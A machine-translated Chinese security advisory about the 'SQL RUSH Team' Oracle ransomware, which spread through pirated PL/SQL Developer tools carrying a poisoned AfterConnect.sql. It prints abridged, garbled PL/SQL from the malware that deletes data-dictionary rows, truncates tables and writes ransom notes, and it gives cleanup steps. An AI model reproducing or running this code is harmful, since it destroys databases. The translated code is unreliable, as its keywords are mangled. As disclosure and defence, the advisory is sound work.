主页 > imtoken怎么注册 > 知己知彼——甲骨文安全比特币勒索问题的启示与防范
知己知彼——甲骨文安全比特币勒索问题的启示与防范
风险从来都不是虚构的和肤浅的。 就在你意想不到的时候,风险可能会突然降临到我们身上。
近日比特币害人,国内多位用户的Oracle数据库突然遭遇莫名其妙的攻击。 大家猜测、揣测、再试,造成了小小的数据恐慌。
发现此类安全事件后,我们立即投入分析收集,终于找到了问题的根源。 我们昨天发布了综合预警和预警。 今天,我们将把此类问题再次细化,分享给Oracle用户。 保持警惕。
近期出现问题的主要原因是部分用户下载了不明来源的数据库管理工具,导致数据库被感染。 强烈建议大家提高版权意识,购买正版软件,远离风险,从规范做起。
问题症状:
不少用户在记录数据库时发现了这个问题,数据库应用程序弹出“已锁定”提示,并威胁要向黑客发送5个比特币解锁。
在客户端,你可能会得到类似这样的提示:
数据库被攻击后,数据库告警日志可能会填充如下信息:
ORA-00604: 在递归 SQL 级别 1 发生错误
ORA-20315:您的数据库已被 SQL RUSH 团队锁定 将 5 个比特币发送到此地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE(大小写一致),然后将您的 Oracle SID 邮寄至 sqlrush@mail.com 我们将告知您如何解锁您的数据库
嗨,朋友,你的数据库被 SQL RUSH Team 入侵了,发送 5 个比特币到地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE(区分大小写),然后将你的 Oracle SID 发送到邮件地址 sqlrush@mail.com,我们会告诉你如何解锁你的数据库。
ORA-06512: 在“XXX.DBMS_CORE_INTERNAL”,第 27 行
ORA-06512: 在第 2 行
这里无非是一些警告和勒索,但是这里SQL RUSH Team,引发了大家的猜测,sqlrush@mail.com,这个地址和id引发了对始作俑者的猜测比特币害人,当然事实如何不得而知。
问题原因:
我们通过有限的案例,详细分析了问题产生的原因和感染过程,在此披露,供Oracle用户参考。
注意:当一个问题研究清楚了,恐惧就不会再生起。 恐惧来自未知。 在遇到原因之前,大家的各种猜测导致了问题的扩大。 现在我们可以回到问题的本质了。
问题的根源在于:如果用户从网上下载盗版的PL/SQL Developer工具(尤其是各种绿色版和破解版),可能会被该工具中招。 所以这个问题跟Oracle本身关系不大,也没有注入那么复杂。 但是当你使用这个工具的时候,用户的权限自然而然的被占有侵犯了。
重要问题说三遍:盗版软件害人!
PL/SQL Developer在中国的流行和盗版是毋庸置疑的。 在这个软件的安装目录下有一个脚本文件AfterConnect.sql,这个脚本才是真正的问题所在。
正版软件安装,这个脚本文件是一个空文件,但是注入的文件中包含了一系列的JOB定义,存储过程和触发器定义,这就是灾难的根源。
受感染的文件——AfterConnect.sql 是这样开始的,伪装成 login.sql 脚本内容,带有清晰注释的代码:
大量内容,以加密形式显示,用户看不到内容,但可以通过unwrap解密(但要注意那些不含恶意代码的解密程序):
毋庸置疑,黑客对Oracle数据库非常熟悉,脚本代码的核心部分,解密后如下(有所删节,勿伤人):
开始
从 V$DATABASE 选择 NVL(TO_CHAR(SYSDATE-CREATED),0) INTO DATE1;
如果 (DATE1>=1200) 那么
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||'tablespace system as select * from sys.tab$';
DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
犯罪;
立即执行“改变系统检查点”;
SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
FOR I IN 1..2046 循环
DBMS_SYSTEM.KSDWRT(2, '嗨,伙计,你的数据库被SQL RUSH团队黑了,发送5个比特币到地址166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE(区分大小写),然后将你的Oracle SID发送到邮件地址let sqlrush@mail.com,你知道如何解锁你的数据库。');
DBMS_SYSTEM.KSDWRT(2, '您的数据库已被 SQL RUSH 团队锁定。将 5 个比特币发送到此地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE(在同一情况下),然后将您的 Oracle SID 邮寄至 sqlrush@mail.com,我们将告知您如何解锁你的数据库');
结束循环;
万一;
结尾;
请注意黑客的专业性,以下部分判断是在程序开始时做的:
从 V$DATABASE 选择 NVL(TO_CHAR(SYSDATE-CREATED),0) INTO DATE1;
如果 (DATE1>=1200) 那么
即判断数据库创建时间大于1200天才开始行动(这个判断还是挺有见地的,小数据库和新数据库,数据少不重要,先放长线钓大鱼),如果你的数据库还没有爆,那可能是因为时机还没有到。
我们强烈建议用户检查数据库工具的使用情况,避免使用来源不明的工具产品。
我们强烈建议:使用正版软件,避免未知风险。
安全漏洞:
我们知道,几乎大部分的数据库客户端工具在访问数据库时都可以通过脚本来定义某些功能,而这些脚本往往是安全问题的漏洞之一。 这个例子中的攻击方法很基础,但也很巧妙。
下载来历不明、汉化来源、破解来源的工具是数据库管理的大忌。 下面列出了常用客户端工具的脚本位置,需要注意:
SQL*Plus:glogin.sql / login.sql
蟾蜍:蟾蜍.ini
PLSQLdeveloper: login.sql / afterconnect.sql
我们强烈建议用户加强数据库权限控制,隔离生产环境和测试环境,严格控制开发和运维工具。
处置建议:
这种攻击使用了JOB、触发器和存储过程来协同工具,所以如果数据库遇到这种问题,可以将JOB参数job_queue_processes设置为0来阻止JOB的执行,然后重启数据库。 可以清除注入的对象,其中可能包括以下同名触发器和存储过程:
过程“DBMS_CORE_INTERNAL”
过程“DBMS_SYSTEM_INTERNAL”
过程“DBMS_SUPPORT_INTERNAL”
攻击的核心代码还包括,它会截断数据表:
STAT:='截断表'||USER||'。'||I.TABLE_NAME;
如果您的数据库遭受攻击导致数据丢失,您可以紧急联系云禾和恩墨的服务团队,我们可以帮您处理数据恢复。 云和、恩墨成熟的ODU产品,可以在数据丢失后最大程度的恢复数据。 Cloud和Enmo的自动化检查工具:白求恩(Bethune),内置检查、访问源、访问工具分析,可以帮助用户梳理你的数据库使用情况。 随便看看,不收费。
活动回顾:
安全防范,请从今天开始。
如何加入“云和恩墨大讲堂”微信群